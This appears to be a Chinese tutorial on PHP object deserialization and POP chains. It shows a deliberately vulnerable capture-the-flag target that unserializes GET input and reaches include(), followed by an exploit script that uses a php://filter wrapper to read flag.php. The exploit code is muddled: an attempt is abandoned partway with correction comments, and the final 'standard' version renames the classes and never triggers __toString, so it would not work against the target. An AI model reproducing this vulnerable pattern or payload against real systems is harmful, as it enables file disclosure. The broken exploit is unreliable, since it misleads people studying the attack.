PHP反序列化漏洞原理与POP链实战解析

<?php
class XINO{
    var $test = '123456';
}
$class1 = new XINO;
$class1_ser = serialize($class1);
print_r($class1_ser);
?>

<?php 
class TestClass {
    public $foo;
    public function __construct($foo) {
        $this->foo = $foo; 
    } 
    public function __toString() {
        return $this->foo; 
    } 
} 
$class = new TestClass('Hello');
echo $class; // 自动触发 __toString，输出 Hello
?>

<?php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test{
    public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}else{
    $a=new Show;
    highlight_file(__FILE__);
}
?>

<?php
class Modifier {
	protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show {
    public $source;
    public $str;
    public function __construct() {
        // 确保 str 是 Test 对象，且在 toString 中访问其 source 属性会触发 __get
        $this->str = new Test();
    }
}
class Test {
    public $p;
    // $p 将被赋值为 Modifier 对象
}

$a = new Show();
// source 需要是一个对象，以便在 Show::__toString 中作为字符串处理时可能触发进一步逻辑，
// 或者更简单地，直接观察 Show::__toString 返回的是 $this->str->source
// 这里我们构造 $a 的 source 指向另一个 Show 对象是为了展示链路的复杂性，
// 实际上核心是 $a->str->p = new Modifier();
$a->source = new Show(); // 此处仅为填充 source 属性，非核心攻击路径关键，但需保持结构完整
$a->source->str->p = new Modifier(); // 修正：应直接让 $a->str->p 指向 Modifier

// 重新梳理标准 EXP 结构：
class ExpShow { 
    public $source; 
    public $str; 
    public function __construct() { 
        $this->str = new ExpTest(); 
    } 
}
class ExpTest { 
    public $p; 
}
class ExpModifier { 
    protected $var = "php://filter/read=convert.base64-encode/resource=flag.php"; 
}

$obj = new ExpShow();
$obj->str->p = new ExpModifier();
echo urlencode(serialize($obj));
?>